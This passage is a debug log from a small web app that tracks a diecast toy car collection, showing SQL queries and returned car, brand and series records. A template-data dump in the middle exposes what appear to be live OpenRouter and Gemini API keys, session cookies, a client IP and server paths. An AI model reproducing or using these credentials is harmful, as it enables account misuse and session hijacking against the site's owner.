  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T07:07:03.222Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T07:07:03.222Z server-connect:app Executing action step select
2026-02-04T07:07:03.222Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:07:03.223Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T07:07:03.223Z server-connect:app Executing action step select
2026-02-04T07:07:03.223Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:07:03.224Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T07:07:03.226Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:07:03.546Z server-connect:router Serving templateView /
2026-02-04T07:07:03.547Z server-connect:app Executing action step identify
2026-02-04T07:07:03.547Z server-connect:app options: { provider: 'security' }
2026-02-04T07:07:03.547Z server-connect:output identity: 1
2026-02-04T07:07:03.547Z server-connect:app Executing action step restrict
2026-02-04T07:07:03.547Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:07:03.547Z server-connect:output restrict: undefined
2026-02-04T07:07:03.547Z server-connect:app Executing action step restrict
2026-02-04T07:07:03.547Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:07:03.548Z server-connect:output restrict: undefined
2026-02-04T07:07:03.548Z server-connect:router Render template layouts/main
2026-02-04T07:07:03.548Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:07:06.290Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:07:06.290Z server-connect:app Executing action step identify
2026-02-04T07:07:06.290Z server-connect:app options: { provider: 'security' }
2026-02-04T07:07:06.290Z server-connect:output identity: 1
2026-02-04T07:07:06.290Z server-connect:app Executing action step restrict
2026-02-04T07:07:06.290Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:07:06.291Z server-connect:output restrict: undefined
2026-02-04T07:07:06.291Z server-connect:app Executing action step paged
2026-02-04T07:07:06.291Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:07:06.293Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 3,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:07:08.158Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:07:08.158Z server-connect:app Executing action step identify
2026-02-04T07:07:08.158Z server-connect:app options: { provider: 'security' }
2026-02-04T07:07:08.158Z server-connect:output identity: 1
2026-02-04T07:07:08.159Z server-connect:app Executing action step restrict
2026-02-04T07:07:08.159Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:07:08.159Z server-connect:output restrict: undefined
2026-02-04T07:07:08.159Z server-connect:app Executing action step paged
2026-02-04T07:07:08.159Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
